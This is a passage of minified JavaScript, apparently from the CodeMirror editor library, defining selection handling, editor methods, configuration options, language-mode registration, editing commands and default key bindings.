o=0,l=0,s=n[0],a=e[0],c=Math.min(s.length,a.length);o<c&&s.charCodeAt(o)==a.charCodeAt(o);)++o;for(s=ui(n),a=ui(e),c=Math.min(s.length-(1==n.length?o:0),a.length-(1==e.length?o:0));l<c&&s.charCodeAt(s.length-l-1)==a.charCodeAt(a.length-l-1);)++l;return n[n.length-1]=s.slice(0,s.length-l),n[0]=n[0].slice(o),i=or(i,o),r=or(r,e.length?ui(e).length-l:0),1<n.length||n[0]||lr(i,r)?(It(t.doc,n,i,r,"+input"),!0):void 0},ensurePolled:function(){this.forceCompositionEnd()},reset:function(){this.forceCompositionEnd()},forceCompositionEnd:function(){this.composing&&!this.composing.handled&&(this.applyComposition(this.composing),this.composing.handled=!0,this.div.blur(),this.div.focus())},applyComposition:function(e){e.data&&e.data!=e.startData&&Ze(this.cm,X)(this.cm,e.data,0,e.sel)},setUneditable:function(e){e.setAttribute("contenteditable","false")},onKeyPress:function(e){e.preventDefault(),Ze(this.cm,X)(this.cm,String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),0)},onContextMenu:di,resetPosition:di,needsContentAttribute:!0},q.prototype),e.inputStyles={textarea:_,contenteditable:q},te.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(e){if(e==this)return!0;if(e.primIndex!=this.primIndex||e.ranges.length!=this.ranges.length)return!1;for(var t=0;t<this.ranges.length;t++){var n=this.ranges[t],i=e.ranges[t];if(0!=lr(n.anchor,i.anchor)||0!=lr(n.head,i.head))return!1}return!0},deepCopy:function(){for(var e=[],t=0;t<this.ranges.length;t++)e[t]=new ne(B(this.ranges[t].anchor),B(this.ranges[t].head));return new te(e,this.primIndex)},somethingSelected:function(){for(var e=0;e<this.ranges.length;e++)if(!this.ranges[e].empty())return!0;return!1},contains:function(e,t){t||(t=e);for(var n=0;n<this.ranges.length;n++){var i=this.ranges[n];if(0<=lr(t,i.from())&&0>=lr(e,i.to()))return n}return-1}},ne.prototype={from:function(){return U(this.anchor,this.head)},to:function(){return G(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};var ar,cr,ur,hr={left:0,right:0,top:0,bottom:0},fr=null,dr=0,pr=0,gr=0,mr=null;Gi?mr=-.53:Fi?mr=15:Xi?mr=-.7:Yi&&(mr=-1/3);var vr=function(e){var t=e.wheelDeltaX,n=e.wheelDeltaY;return null==t&&e.detail&&e.axis==e.HORIZONTAL_AXIS&&(t=e.detail),null==n&&e.detail&&e.axis==e.VERTICAL_AXIS?n=e.detail:null==n&&(n=e.wheelDelta),{x:t,y:n}};e.wheelEventPixels=function(e){return(e=vr(e)).x*=mr,e.y*=mr,e};var yr=new si,br=null,wr=e.changeEnd=function(e){return e.text?or(e.from.line+e.text.length-1,ui(e.text).length+(1==e.text.length?e.from.ch:0)):e.to};e.prototype={constructor:e,focus:function(){window.focus(),this.display.input.focus()},setOption:function(e,t){var n=this.options,i=n[e];n[e]==t&&"mode"!=e||(n[e]=t,Cr.hasOwnProperty(e)&&Ze(this,Cr[e])(this,t,i))},getOption:function(e){return this.options[e]},getDoc:function(){return this.doc},addKeyMap:function(e,t){this.state.keyMaps[t?"push":"unshift"](Yt(e))},removeKeyMap:function(e){for(var t=this.state.keyMaps,n=0;n<t.length;++n)if(t[n]==e||t[n].name==e)return t.splice(n,1),!0},addOverlay:Qe((function(t,n){var i=t.token?t:e.getMode(this.options,t);if(i.startState)throw Error("Overlays may not be stateful.");this.state.overlays.push({mode:i,modeSpec:t,opaque:n&&n.opaque}),this.state.modeGen++,nt(this)})),removeOverlay:Qe((function(e){for(var t=this.state.overlays,n=0;n<t.length;++n){var i=t[n].modeSpec;if(i==e||"string"==typeof e&&i.name==e){t.splice(n,1),this.state.modeGen++,nt(this);break}}})),indentLine:Qe((function(e,t,n){"string"!=typeof t&&"number"!=typeof t&&(t=null==t?this.options.smartIndent?"smart":"prev":t?"add":"subtract"),le(this.doc,e)&&Bt(this,e,t,n)})),indentSelection:Qe((function(e){for(var t=this.doc.sel.ranges,n=-1,i=0;i<t.length;i++)if((o=t[i]).empty())o.head.line>n&&(Bt(this,o.head.line,e,!0),n=o.head.line,i==this.doc.sel.primIndex&&Ft(this));else{var r=o.from(),o=o.to(),l=Math.max(n,r.line);for(n=Math.min(this.lastLine(),o.line-(o.ch?0:1))+1,o=l;o<n;++o)Bt(this,o,e);o=this.doc.sel.ranges,0==r.ch&&t.length==o.length&&0<o[i].from().ch&&ue(this.doc,i,new ne(r,o[i].to()),io)}})),getTokenAt:function(e,t){return vn(this,e,t)},getLineTokens:function(e,t){return vn(this,or(e),t,!0)},getTokenTypeAt:function(e){e=oe(this.doc,e);var t=wn(this,En(this.doc,e.line)),n=0,i=(t.length-1)/2;if(0==(e=e.ch))t=t[2];else for(;;){var r=n+i>>1;if((r?t[2*r-1]:0)>=e)i=r;else{if(!(t[2*r+1]<e)){t=t[2*r+2];break}n=r+1}}return 0>(n=t?t.indexOf("cm-overlay "):-1)?t:0==n?null:t.slice(0,n-1)},getModeAt:function(t){var n=this.doc.mode;return n.innerMode?e.innerMode(n,this.getTokenAt(t).state).mode:n},getHelper:function(e,t){return this.getHelpers(e,t)[0]},getHelpers:function(e,t){var n=[];if(!Nr.hasOwnProperty(t))return n;var i=Nr[t],r=this.getModeAt(e);if("string"==typeof r[t])i[r[t]]&&n.push(i[r[t]]);else if(r[t])for(var o=0;o<r[t].length;o++){var l=i[r[t][o]];l&&n.push(l)}else r.helperType&&i[r.helperType]?n.push(i[r.helperType]):i[r.name]&&n.push(i[r.name]);for(o=0;o<i._global.length;o++)(l=i._global[o]).pred(r,this)&&-1==hi(n,l.val)&&n.push(l.val);return n},getStateAfter:function(e,t){var n=this.doc;return Le(this,(e=Math.max(n.first,Math.min(null==e?n.first+n.size-1:e,n.first+n.size-1)))+1,t)},cursorCoords:function(e,t){var n;return n=this.doc.sel.primary(),Ge(this,n=null==e?n.head:"object"==typeof e?oe(this.doc,e):e?n.from():n.to(),t||"page")},charCoords:function(e,t){return Be(this,oe(this.doc,e),t||"page")},coordsChar:function(e,t){return Ke(this,(e=Re(this,e,t||"page")).left,e.top)},lineAtHeight:function(e,t){return e=Re(this,{top:e,left:0},t||"page").top,Rn(this.doc,e+this.display.viewOffset)},heightAtLine:function(e,t){var n,i=!1;return"number"==typeof e?(n=this.doc.first+this.doc.size-1,e<this.doc.first?e=this.doc.first:e>n&&(e=n,i=!0),n=En(this.doc,e)):n=e,Fe(this,n,{top:0,left:0},t||"page").top+(i?this.doc.height-Bn(n):0)},defaultTextHeight:function(){return je(this.display)},defaultCharWidth:function(){return Ye(this.display)},setGutterMarker:Qe((function(e,t,n){return Gt(this.doc,e,"gutter",(function(e){var i=e.gutterMarkers||(e.gutterMarkers={});return i[t]=n,!n&&yi(i)&&(e.gutterMarkers=null),!0}))})),clearGutter:Qe((function(e){var t=this,n=t.doc,i=n.first;n.iter((function(n){n.gutterMarkers&&n.gutterMarkers[e]&&(n.gutterMarkers[e]=null,it(t,i,"gutter"),yi(n.gutterMarkers)&&(n.gutterMarkers=null)),++i}))})),lineInfo:function(e){if("number"==typeof e){if(!le(this.doc,e))return null;var t=e;if(!(e=En(this.doc,e)))return null}else if(null==(t=Fn(e)))return null;return{line:t,handle:e,text:e.text,gutterMarkers:e.gutterMarkers,textClass:e.textClass,bgClass:e.bgClass,wrapClass:e.wrapClass,widgets:e.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(e,t,n,i,r){var o=this.display,l=(e=Ge(this,oe(this.doc,e))).bottom,s=e.left;if(t.style.position="absolute",t.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(t),o.sizer.appendChild(t),"over"==i)l=e.top;else if("above"==i||"near"==i){var a=Math.max(o.wrapper.clientHeight,this.doc.height),c=Math.max(o.sizer.clientWidth,o.lineSpace.clientWidth);("above"==i||e.bottom+t.offsetHeight>a)&&e.top>t.offsetHeight?l=e.top-t.offsetHeight:e.bottom+t.offsetHeight<=a&&(l=e.bottom),s+t.offsetWidth>c&&(s=c-t.offsetWidth)}t.style.top=l+"px",t.style.left=t.style.right="","right"==r?(s=o.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==r?s=0:"middle"==r&&(s=(o.sizer.clientWidth-t.offsetWidth)/2),t.style.left=s+"px"),n&&(null!=(e=Pt(this,s,l,s+t.offsetWidth,l+t.offsetHeight)).scrollTop&&pt(this,e.scrollTop),null!=e.scrollLeft&>(this,e.scrollLeft))},triggerOnKeyDown:Qe(wt),triggerOnKeyPress:Qe(Ct),triggerOnKeyUp:xt,execCommand:function(e){if(Or.hasOwnProperty(e))return Or[e](this)},findPosH:function(e,t,n,i){var r=1;0>t&&(r=-1,t=-t);var o=0;for(e=oe(this.doc,e);o<t&&!(e=Vt(this.doc,e,r,n,i)).hitSide;++o);return e},moveH:Qe((function(e,t){var n=this;n.extendSelectionsBy((function(i){return n.display.shift||n.doc.extend||i.empty()?Vt(n.doc,i.head,e,t,n.options.rtlMoveVisually):0>e?i.from():i.to()}),oo)})),deleteH:Qe((function(e,t){var n=this.doc;this.doc.sel.somethingSelected()?n.replaceSelection("",null,"+delete"):Ut(this,(function(i){var r=Vt(n,i.head,e,t,!1);return 0>e?{from:r,to:i.head}:{from:i.head,to:r}}))})),findPosV:function(e,t,n,i){var r=1;0>t&&(r=-1,t=-t);var o=0;for(e=oe(this.doc,e);o<t&&(e=Ge(this,e,"div"),null==i?i=e.left:e.left=i,!(e=Kt(this,e,r,n)).hitSide);++o);return e},moveV:Qe((function(e,t){var n=this,i=this.doc,r=[],o=!n.display.shift&&!i.extend&&i.sel.somethingSelected();if(i.extendSelectionsBy((function(l){if(o)return 0>e?l.from():l.to();var s=Ge(n,l.head,"div");null!=l.goalColumn&&(s.left=l.goalColumn),r.push(s.left);var a=Kt(n,s,e,t);return"page"==t&&l==i.sel.primary()&&zt(n,null,Be(n,a,"div").top-s.top),a}),oo),r.length)for(var l=0;l<i.sel.ranges.length;l++)i.sel.ranges[l].goalColumn=r[l]})),findWordAt:function(e){var t=En(this.doc,e.line).text,n=e.ch,i=e.ch;if(t){var r=this.getHelper(e,"wordChars");(0>e.xRel||i==t.length)&&n?--n:++i;for(var o=vi(o=t.charAt(n),r)?function(e){return vi(e,r)}:/\s/.test(o)?function(e){return/\s/.test(e)}:function(e){return!/\s/.test(e)&&!vi(e)};0<n&&o(t.charAt(n-1));)--n;for(;i<t.length&&o(t.charAt(i));)++i}return new ne(or(e.line,n),or(e.line,i))},toggleOverwrite:function(e){null!=e&&e==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?bo(this.display.cursorDiv,"CodeMirror-overwrite"):yo(this.display.cursorDiv,"CodeMirror-overwrite"),Jr(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==Si()},scrollTo:Qe((function(e,t){null==e&&null==t||Rt(this),null!=e&&(this.curOp.scrollLeft=e),null!=t&&(this.curOp.scrollTop=t)})),getScrollInfo:function(){var e=this.display.scroller;return{left:e.scrollLeft,top:e.scrollTop,height:e.scrollHeight-Me(this)-this.display.barHeight,width:e.scrollWidth-Me(this)-this.display.barWidth,clientHeight:Ae(this),clientWidth:Ne(this)}},scrollIntoView:Qe((function(e,t){if(null==e?(e={from:this.doc.sel.primary().head,to:null},null==t&&(t=this.options.cursorScrollMargin)):"number"==typeof e?e={from:or(e,0),to:null}:null==e.from&&(e={from:e,to:null}),e.to||(e.to=e.from),e.margin=t||0,null!=e.from.line)Rt(this),this.curOp.scrollToPos=e;else{var n=Pt(this,Math.min(e.from.left,e.to.left),Math.min(e.from.top,e.to.top)-e.margin,Math.max(e.from.right,e.to.right),Math.max(e.from.bottom,e.to.bottom)+e.margin);this.scrollTo(n.scrollLeft,n.scrollTop)}})),setSize:Qe((function(e,t){function n(e){return"number"==typeof e||/^\d+$/.test(String(e))?e+"px":e}var i=this;null!=e&&(i.display.wrapper.style.width=n(e)),null!=t&&(i.display.wrapper.style.height=n(t)),i.options.lineWrapping&&Pe(this);var r=i.display.viewFrom;i.doc.iter(r,i.display.viewTo,(function(e){if(e.widgets)for(var t=0;t<e.widgets.length;t++)if(e.widgets[t].noHScroll){it(i,r,"widget");break}++r})),i.curOp.forceUpdate=!0,Jr(i,"refresh",this)})),operation:function(e){return qe(this,e)},refresh:Qe((function(){var e=this.display.cachedTextHeight;nt(this),this.curOp.forceUpdate=!0,ze(this),this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop),c(this),(null==e||.5<Math.abs(e-je(this.display)))&&o(this),Jr(this,"refresh",this)})),swapDoc:Qe((function(e){var t=this.doc;return t.cm=null,Hn(this,e),ze(this),this.display.input.reset(),this.scrollTo(e.scrollLeft,e.scrollTop),this.curOp.forceScroll=!0,ti(this,"swapDoc",this,t),t})),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},li(e);var xr=e.defaults={},Cr=e.optionHandlers={},Sr=e.Init={toString:function(){return"CodeMirror.Init"}};Xt("value","",(function(e,t){e.setValue(t)}),!0),Xt("mode",null,(function(e,t){e.doc.modeOption=t,n(e)}),!0),Xt("indentUnit",2,n,!0),Xt("indentWithTabs",!1),Xt("smartIndent",!0),Xt("tabSize",4,(function(e){i(e),ze(e),nt(e)}),!0),Xt("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,(function(t,n,i){t.state.specialChars=new RegExp(n.source+(n.test("\t")?"":"|\t"),"g"),i!=e.Init&&t.refresh()})),Xt("specialCharPlaceholder",(function(e){var t=wi("span","•","cm-invalidchar");return t.title="\\u"+e.charCodeAt(0).toString(16),t.setAttribute("aria-label",t.title),t}),(function(e){e.refresh()}),!0),Xt("electricChars",!0),Xt("inputStyle",Zi?"contenteditable":"textarea",(function(){throw Error("inputStyle can not (yet) be changed in a running editor")}),!0),Xt("rtlMoveVisually",!Ji),Xt("wholeLineUpdateBefore",!0),Xt("theme","default",(function(e){l(e),s(e)}),!0),Xt("keyMap","default",(function(t,n,i){n=Yt(n),(i=i!=e.Init&&Yt(i))&&i.detach&&i.detach(t,n),n.attach&&n.attach(t,i||null)})),Xt("extraKeys",null),Xt("lineWrapping",!1,(function(e){e.options.lineWrapping?(bo(e.display.wrapper,"CodeMirror-wrap"),e.display.sizer.style.minWidth="",e.display.sizerWidth=null):(yo(e.display.wrapper,"CodeMirror-wrap"),h(e)),o(e),nt(e),ze(e),setTimeout((function(){v(e)}),100)}),!0),Xt("gutters",[],(function(e){f(e.options),s(e)}),!0),Xt("fixedGutter",!0,(function(e,t){e.display.gutters.style.left=t?S(e.display)+"px":"0",e.refresh()}),!0),Xt("coverGutterNextToScrollbar",!1,(function(e){v(e)}),!0),Xt("scrollbarStyle","native",(function(e){m(e),v(e),e.display.scrollbars.setScrollTop(e.doc.scrollTop),e.display.scrollbars.setScrollLeft(e.doc.scrollLeft)}),!0),Xt("lineNumbers",!1,(function(e){f(e.options),s(e)}),!0),Xt("firstLineNumber",1,s,!0),Xt("lineNumberFormatter",(function(e){return e}),s,!0),Xt("showCursorWhenSelecting",!1,ye,!0),Xt("resetSelectionOnContextMenu",!0),Xt("lineWiseCopyCut",!0),Xt("readOnly",!1,(function(e,t){"nocursor"==t?(Lt(e),e.display.input.blur(),e.display.disabled=!0):(e.display.disabled=!1,t||e.display.input.reset())})),Xt("disableInput",!1,(function(e,t){t||e.display.input.reset()}),!0),Xt("dragDrop",!0,(function(t,n,i){!n!=!(i&&i!=e.Init)&&(i=t.display.dragFunctions,(n=n?Zr:Qr)(t.display.scroller,"dragstart",i.start),n(t.display.scroller,"dragenter",i.simple),n(t.display.scroller,"dragover",i.simple),n(t.display.scroller,"drop",i.drop))})),Xt("cursorBlinkRate",530),Xt("cursorScrollMargin",0),Xt("cursorHeight",1,ye,!0),Xt("singleCursorHeightPerLine",!0,ye,!0),Xt("workTime",100),Xt("workDelay",100),Xt("flattenSpans",!0,i,!0),Xt("addModeClass",!1,i,!0),Xt("pollInterval",100),Xt("undoDepth",200,(function(e,t){e.doc.history.undoDepth=t})),Xt("historyEventDelay",1250),Xt("viewportMargin",10,(function(e){e.refresh()}),!0),Xt("maxHighlightLength",1e4,i,!0),Xt("moveInputWithCursor",!0,(function(e,t){t||e.display.input.resetPosition()})),Xt("tabindex",null,(function(e,t){e.display.input.getField().tabIndex=t||""})),Xt("autofocus",null);var Lr=e.modes={},Tr=e.mimeModes={};e.defineMode=function(t,n){e.defaults.mode||"null"==t||(e.defaults.mode=t),2<arguments.length&&(n.dependencies=Array.prototype.slice.call(arguments,2)),Lr[t]=n},e.defineMIME=function(e,t){Tr[e]=t},e.resolveMode=function(t){if("string"==typeof t&&Tr.hasOwnProperty(t))t=Tr[t];else if(t&&"string"==typeof t.name&&Tr.hasOwnProperty(t.name)){var n=Tr[t.name];"string"==typeof n&&(n={name:n}),(t=pi(n,t)).name=n.name}else if("string"==typeof t&&/^[\w\-]+\/[\w\-]+\+xml$/.test(t))return e.resolveMode("application/xml");return"string"==typeof t?{name:t}:t||{name:"null"}},e.getMode=function(t,n){n=e.resolveMode(n);var i=Lr[n.name];if(!i)return e.getMode(t,"text/plain");if(i=i(t,n),kr.hasOwnProperty(n.name)){var r,o=kr[n.name];for(r in o)o.hasOwnProperty(r)&&(i.hasOwnProperty(r)&&(i["_"+r]=i[r]),i[r]=o[r])}if(i.name=n.name,n.helperType&&(i.helperType=n.helperType),n.modeProps)for(r in n.modeProps)i[r]=n.modeProps[r];return i},e.defineMode("null",(function(){return{token:function(e){e.skipToEnd()}}})),e.defineMIME("text/plain","null");var kr=e.modeExtensions={};e.extendMode=function(e,t){gi(t,kr.hasOwnProperty(e)?kr[e]:kr[e]={})},e.defineExtension=function(t,n){e.prototype[t]=n},e.defineDocExtension=function(e,t){Xr.prototype[e]=t},e.defineOption=Xt;var Mr=[];e.defineInitHook=function(e){Mr.push(e)};var Nr=e.helpers={};e.registerHelper=function(t,n,i){Nr.hasOwnProperty(t)||(Nr[t]=e[t]={_global:[]}),Nr[t][n]=i},e.registerGlobalHelper=function(t,n,i,r){e.registerHelper(t,n,r),Nr[t]._global.push({pred:i,val:r})};var Ar=e.copyState=function(e,t){if(!0===t)return t;if(e.copyState)return e.copyState(t);var n,i={};for(n in t){var r=t[n];r instanceof Array&&(r=r.concat([])),i[n]=r}return i},Wr=e.startState=function(e,t,n){return!e.startState||e.startState(t,n)};e.innerMode=function(e,t){for(;e.innerMode;){var n=e.innerMode(t);if(!n||n.mode==e)break;t=n.state,e=n.mode}return n||{mode:e,state:t}};var Or=e.commands={selectAll:function(e){e.setSelection(or(e.firstLine(),0),or(e.lastLine()),io)},singleSelection:function(e){e.setSelection(e.getCursor("anchor"),e.getCursor("head"),io)},killLine:function(e){Ut(e,(function(t){if(t.empty()){var n=En(e.doc,t.head.line).text.length;return t.head.ch==n&&t.head.line<e.lastLine()?{from:t.head,to:or(t.head.line+1,0)}:{from:t.head,to:or(t.head.line,n)}}return{from:t.from(),to:t.to()}}))},deleteLine:function(e){Ut(e,(function(t){return{from:or(t.from().line,0),to:oe(e.doc,or(t.to().line+1,0))}}))},delLineLeft:function(e){Ut(e,(function(e){return{from:or(e.from().line,0),to:e.from()}}))},delWrappedLineLeft:function(e){Ut(e,(function(t){var n=e.charCoords(t.head,"div").top+5;return{from:e.coordsChar({left:0,top:n},"div"),to:t.from()}}))},delWrappedLineRight:function(e){Ut(e,(function(t){var n=e.charCoords(t.head,"div").top+5;return n=e.coordsChar({left:e.display.lineDiv.offsetWidth+100,top:n},"div"),{from:t.from(),to:n}}))},undo:function(e){e.undo()},redo:function(e){e.redo()},undoSelection:function(e){e.undoSelection()},redoSelection:function(e){e.redoSelection()},goDocStart:function(e){e.extendSelection(or(e.firstLine(),0))},goDocEnd:function(e){e.extendSelection(or(e.lastLine()))},goLineStart:function(e){e.extendSelectionsBy((function(t){return Di(e,t.head.line)}),{origin:"+move",bias:1})},goLineStartSmart:function(e){e.extendSelectionsBy((function(t){return Hi(e,t.head)}),{origin:"+move",bias:1})},goLineEnd:function(e){e.extendSelectionsBy((function(t){t=t.head.line;for(var n,i=En(e.doc,t);n=ln(i,!1);)i=n.find(1,!0).line,t=null;return n=(n=Gn(i))?n[0].level%2?Wi(i):Oi(i):i.text.length,or(null==t?Fn(i):t,n)}),{origin:"+move",bias:-1})},goLineRight:function(e){e.extendSelectionsBy((function(t){return t=e.charCoords(t.head,"div").top+5,e.coordsChar({left:e.display.lineDiv.offsetWidth+100,top:t},"div")}),oo)},goLineLeft:function(e){e.extendSelectionsBy((function(t){return t=e.charCoords(t.head,"div").top+5,e.coordsChar({left:0,top:t},"div")}),oo)},goLineLeftSmart:function(e){e.extendSelectionsBy((function(t){var n=e.charCoords(t.head,"div").top+5;return(n=e.coordsChar({left:0,top:n},"div")).ch<e.getLine(n.line).search(/\S/)?Hi(e,t.head):n}),oo)},goLineUp:function(e){e.moveV(-1,"line")},goLineDown:function(e){e.moveV(1,"line")},goPageUp:function(e){e.moveV(-1,"page")},goPageDown:function(e){e.moveV(1,"page")},goCharLeft:function(e){e.moveH(-1,"char")},goCharRight:function(e){e.moveH(1,"char")},goColumnLeft:function(e){e.moveH(-1,"column")},goColumnRight:function(e){e.moveH(1,"column")},goWordLeft:function(e){e.moveH(-1,"word")},goGroupRight:function(e){e.moveH(1,"group")},goGroupLeft:function(e){e.moveH(-1,"group")},goWordRight:function(e){e.moveH(1,"word")},delCharBefore:function(e){e.deleteH(-1,"char")},delCharAfter:function(e){e.deleteH(1,"char")},delWordBefore:function(e){e.deleteH(-1,"word")},delWordAfter:function(e){e.deleteH(1,"word")},delGroupBefore:function(e){e.deleteH(-1,"group")},delGroupAfter:function(e){e.deleteH(1,"group")},indentAuto:function(e){e.indentSelection("smart")},indentMore:function(e){e.indentSelection("add")},indentLess:function(e){e.indentSelection("subtract")},insertTab:function(e){e.replaceSelection("\t")},insertSoftTab:function(e){for(var t=[],n=e.listSelections(),i=e.options.tabSize,r=0;r<n.length;r++){var o=n[r].from();o=lo(e.getLine(o.line),o.ch,i),t.push(Array(i-o%i+1).join(" "))}e.replaceSelections(t)},defaultTab:function(e){e.somethingSelected()?e.indentSelection("add"):e.execCommand("insertTab")},transposeChars:function(e){qe(e,(function(){for(var t=e.listSelections(),n=[],i=0;i<t.length;i++){var r=t[i].head,o=En(e.doc,r.line).text;if(o)if(r.ch==o.length&&(r=new or(r.line,r.ch-1)),0<r.ch)r=new or(r.line,r.ch+1),e.replaceRange(o.charAt(r.ch-1)+o.charAt(r.ch-2),or(r.line,r.ch-2),r,"+transpose");else if(r.line>e.doc.first){var l=En(e.doc,r.line-1).text;l&&e.replaceRange(o.charAt(0)+"\n"+l.charAt(l.length-1),or(r.line-1,l.length-1),or(r.line,1),"+transpose")}n.push(new ne(r,r))}e.setSelections(n)}))},newlineAndIndent:function(e){qe(e,(function(){for(var t=e.listSelections().length,n=0;n<t;n++){var i=e.listSelections()[n];e.replaceRange("\n",i.anchor,i.head,"+input"),e.indentLine(i.from().line+1,null,!0),Ft(e)}}))},toggleOverwrite:function(e){e.toggleOverwrite()}},Dr=e.keyMap={};Dr.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Dr.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Dr.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"},Dr.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Dr.default=Qi?Dr.macDefault:Dr.pcDefault,e.normalizeKeyMap=function(e){var t,n={};for(t in e)if(e.hasOwnProperty(t)){var i=e[t];if(!/^(name|fallthrough|(de|at)tach)$/.test(t)){if("..."!=i)for(var r=fi(t.split(" "),jt),o=0;o<r.length;o++){var l,s;o==r.length-1?(s=t,l=i):(s=r.slice(0,o+1).join(" "),l="...");var a=n[s];if(a){if(a!=l)throw Error("Inconsistent bindings for "+s)}else n[s]=l}delete e[t]}}for(var c in n)e[c]=n[c];return e};var Hr=e.lookupKey=function(e,t,n,i){var r=(t=Yt(t)).call?t.call(e,i):t[e];if(!1===r)return"nothing";if("..."===r)return"multi";if(null!=r&&n(r))return"handled";if(t.fallthrough){if("[object Array]"!=Object.prototype.toString.call(t.fallthrough))return Hr(e,t.fallthrough,n,i);for(r=0;r<t.fallthrough.length;r++){var o=Hr(e,t.fallthrough[r],n,i);if(o)return o}}},Er=e.isModifierKey=function(e){return"Ctrl"==(e="string"==typeof e?e:ko[e.keyCode])||"Alt"==e||"Shift"==e||"Mod"==e},Ir=e.keyName=function(e,t){if(ji&&34==e.keyCode&&e.char)return!1;var n=ko[e.keyCode],i=n;return null!=i&&!e.altGraphKey&&(e.altKey&&"Alt"!=n&&(i="Alt-"+i),(tr?e.metaKey:e.ctrlKey)&&"Ctrl"!=n&&(i="Ctrl-"+i),(tr?e.ctrlKey:e.metaKey)&&"Cmd"!=n&&(i="Cmd-"+i),!t&&e.shiftKey&&"Shift"!=n&&(i="Shift-"+i),i)};e.fromTextArea=function(t,n){function i(){t.value=a.getValue()}if((n=n?gi(n):{}).value=t.value,!n.tabindex&&t.tabIndex&&(n.tabindex=t.tabIndex),!n.placeholder&&t.placeholder&&(n.placeholder=t.placeholder),null==n.autofocus){var r=Si();n.autofocus=r==t||null!=t.getAttribute("autofocus")&&r==document.body}if(t.form&&(Zr(t.form,"submit",i),!n.leaveSubmitMethodAlone)){var o=t.form,l=o.submit;try{var s=o.submit=function(){i(),o.submit=l,o.submit(),o.submit=s}}catch(e){}}n.finishInit=function(e){e.save=i,e.getTextArea=function(){return t},e.toTextArea=function(){e.toTextArea=isNaN,i(),t.parentNode.removeChild(e.getWrapperElement()),t.style.display="",t.form&&(Qr(t.form,"submit",i),"function"==typeof t.form.submit&&(t.form.submit=l))}},t.style.display="none";var a=e((function(e){t.parentNode.insertBefore(e,t.nextSibling)}),n);return a};var Pr=e.StringStream=function(e,t){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lineStart=this.lastColumnPos=this.lastColumnValue=0};Pr.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(e){var t=this.string.charAt(this.pos);if("string"==typeof e?t==e:t&&(e.test?e.test(t):e(t)))return++this.pos,t},eatWhile:function(e){for(var t=this.pos;this.eat(e););return this.pos>t},eatSpace:function(){for(var e=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>e},skipToEnd:function(){this.pos=this.string.length},skipTo:function(e){if(-1<(e=this.string.indexOf(e,this.pos)))return this.pos=e,!0},backUp:function(e){this.pos-=e},column:function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=lo(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?lo(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return lo(this.string,null,this.tabSize)-(this.lineStart?lo(this.string,this.lineStart,this.tabSize):0)},match:function(e,t,n){if("string"!=typeof 